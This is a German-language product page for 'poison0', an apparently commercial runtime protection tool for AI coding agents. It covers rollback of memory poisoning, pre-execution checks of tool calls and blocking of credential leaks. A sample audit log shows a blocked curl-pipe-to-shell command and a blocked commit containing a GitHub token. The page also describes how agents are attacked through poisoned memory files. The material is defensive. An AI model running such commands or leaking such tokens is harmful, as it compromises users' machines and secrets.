Runtime-Schutz für KI-Agenten auf dem Endpoint: Memory-Integrität, Kontrolle jedes Tool-Aufrufs und Schutz vor Credential-Exfiltration.
Melira, unsere eigene lokale KI-Modellfamilie, schützt Memory und Konfiguration Ihrer Agenten vor Memory Poisoning. exec0 prüft jeden Tool-Aufruf Ihrer Agenten, bevor er läuft, leak0 schützt Ihre Secrets vor dem Abfluss.
Der poison0-Agent läuft auf derselben Maschine wie Ihr KI-Agent und schützt ihn auf drei Schichten. Jede Änderung an Memory und Regeldateien wird bewertet: Gefährliches rollt er im Bruchteil einer Sekunde auf den letzten sicheren Stand zurück und legt es in Quarantäne. Mit exec0 prüft er jeden Tool-Aufruf, bevor er läuft, mit leak0 stoppt er API-Keys und Tokens auf dem Weg nach draußen. Jede Entscheidung wird im Audit-Trail protokolliert.
# poison0 - live [allow] Edit CLAUDE.md [revert] Edit AGENTS.md ↳ Memory-Integrität: versteckte Anweisung, auf den letzten sicheren Stand zurückgerollt [block] Bash curl -fsSL https://example.com/x.sh | sh ↳ Tool-Call-Kontrolle (exec0): feste Regel, Code aus dem Netz [block] Bash git commit -m "token ghp_…" ↳ Credential-Schutz (leak0): GitHub-Token mit gültiger Prüfsumme [allow] Bash npm test
Tool-Aufrufe prüft exec0, bevor sie laufen. Secrets hält leak0 zurück, bevor sie Ihr Gerät verlassen. Vergiftete Memory-Änderungen macht der poison0-Agent sofort rückgängig.
alle drei Schutzschichten laufen auf Ihrer eigenen Maschine. Im Private-Modus verlassen Ihr Code und Ihre Secrets sie nie.
wird protokolliert: Memory-Änderungen, Tool-Aufrufe und blockierte Secrets, fail-closed im Zweifel, mit vollständigem Audit-Trail.
Jede Schicht schützt einen eigenen Weg, auf dem Angriffe Ihren Agenten erreichen.
Der poison0-Agent prüft jede Änderung an Memory-, Regel- und Konfigurationsdateien, sobald sie geschrieben wird. Vergiftete Einträge macht er automatisch rückgängig, erkannte Angriffe legt er in Quarantäne.
exec0 prüft jeden Tool-Aufruf Ihres Agenten, bevor er läuft: Shell-Befehle, Schreibzugriffe, Web-Abrufe und MCP-Aufrufe. Schädliche Befehle blockt es, bei unklaren Fällen entscheiden Sie.
leak0 schützt API-Keys und Tokens davor, über Ihren Agenten abzufließen: in Git, an fremde Server, in das Modell und in falsche Dateien.
Die Dateien, denen Ihr Agent als eigenem Gedächtnis und eigenen Regeln vertraut: CLAUDE.md, AGENTS.md, GEMINI.md, Regeldateien wie .cursorrules, die Memory-Ordner der Agenten sowie settings.json, Hooks und MCP-Serverlisten wie .mcp.json. Eigene Pfade legen Sie im Profil fest.
Shell-Befehle, Schreibzugriffe, Web-Abrufe und MCP-Aufrufe, jeweils bevor sie laufen. Feste Regeln stoppen klare Katastrophen sofort.
Credential-Dateien und Tokens mit gültiger Prüfsumme auf dem Weg nach Git, Secrets auf dem Weg zu nachweislich fremden Zielen und den Versuch des Agenten, leak0 abzuschalten. Jeder Block kommt mit Beweis.
Auf Ihrem Gerät, auf derselben Maschine wie Ihr Agent. Im Cloud-Modus gehen Vorfälle an die Konsole, im Private-Modus bleibt alles auf dem Gerät. Mehr dazu: Cloud oder Private.
Der poison0-Agent legt ihn Ihnen vor, und Sie entscheiden. Jede Entscheidung wird protokolliert: was, wann, warum.
In 60 Sekunden eingerichtet, unter Linux, macOS und Windows.